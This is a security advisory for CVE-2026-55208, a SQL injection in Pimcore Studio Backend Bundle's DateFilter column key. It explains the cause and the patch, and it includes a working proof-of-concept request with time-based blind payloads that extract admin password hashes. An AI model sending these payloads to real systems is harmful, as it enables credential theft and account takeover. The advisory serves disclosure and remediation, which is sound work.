high · 7.7CVE-2026-55208Aug 28, 2026

CVE-2026-55208: Pimcore Studio Backend Bundle SQL Injection via DateFilter Column Key

Shubham Kandhare
Security Engagement Manager, SecureLayer7

An authenticated Pimcore user can break out of a backtick-wrapped SQL identifier in the DateFilter and inject arbitrary SQL, including time-based blind queries that extract admin password hashes and…

Packagepimcore/studio-backend-bundle
Ecosystemcomposer
Affected< 2025.4.6
Fixed in2025.4.6
CVE-2026-55208: Pimcore Studio Backend Bundle SQL Injection via DateFilter Column Key

The problem

The DateFilter in src/Listing/Filter/DateFilter.php builds a SQL condition by concatenating user-supplied column names with manual backtick wrapping: ` '' . $key . '' `. That is not escaping. A backtick inside the value terminates the identifier and lets an attacker append any SQL.

Because the filter uses fixed PDO named parameters (:minTime, :maxTime) instead of deriving the parameter name from the column key, PDO never validates the column string. The injection reaches the database engine unconditionally. Eleven REST endpoints are affected, including /pimcore-studio/api/website-settings, /pimcore-studio/api/notifications, and /pimcore-studio/api/redirects.

Proof of concept

A working proof-of-concept for CVE-2026-55208 in pimcore/studio-backend-bundle, with the exact payload below.

http
POST /pimcore-studio/api/website-settings HTTP/1.1
Host: target.example.com
Content-Type: application/json
Cookie: PHPSESSID=<authenticated-session>

{"page":1,"pageSize":10,"filters":{"columnFilters":[{"key":"id` BETWEEN 0 AND 99999999999) AND IF((SELECT SUBSTRING(password,1,4) FROM users WHERE id=1)=0x24327924,SLEEP(3),0)-- ","type":"date","filterValue":{"operator":"on","value":"2024-01-01"}}]}}

-- Unconditional injection (confirms execution via ~6s delay):
-- key: "id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- "

-- Resulting SQL reaching the database:
-- SELECT id FROM website_settings WHERE (`id` BETWEEN 0 AND 99999999999) AND IF((SELECT SUBSTRING(password,1,4) FROM users WHERE id=1)=0x24327924,SLEEP(3),0)-- `  BETWEEN :minTime AND :maxTime)  ORDER BY `id` ASC LIMIT 50

Manual backtick wrapping does not escape embedded backtick characters. The function quoteIdentifier() (used safely elsewhere in the codebase, e.g. LogRepository.php line 202) doubles internal backticks so they cannot break quoting; the manual concatenation does not.

The DateFilter is uniquely exploitable compared to EqualsFilter and LikeFilter because it uses hardcoded PDO parameter names (:minTime, :maxTime). The other filters derive the parameter name from the column key, and PDO rejects names containing non-alphanumeric characters before SQL execution.

In DateFilter, no such rejection occurs, so the injected SQL always reaches MariaDB/MySQL.

The CWE-89 root cause is unsanitized identifier interpolation. Iterating SUBSTRING(password, N, 1) one character at a time extracts the full bcrypt hash for offline cracking, or extracts passwordRecoveryToken values for direct account takeover.

The fix

Upgrade pimcore/studio-backend-bundle to version 2025.4.6 or 2026.1.6. The patch (commit f532428, PR #1883) replaces manual backtick wrapping with Doctrine\DBAL\Connection::quoteIdentifier() in DateFilter.php and Note/Service/FilterService.php, which correctly doubles any internal backtick characters and prevents identifier breakout.

Reporter not attributed.

References: [1][2][3][4][5][6]

Related research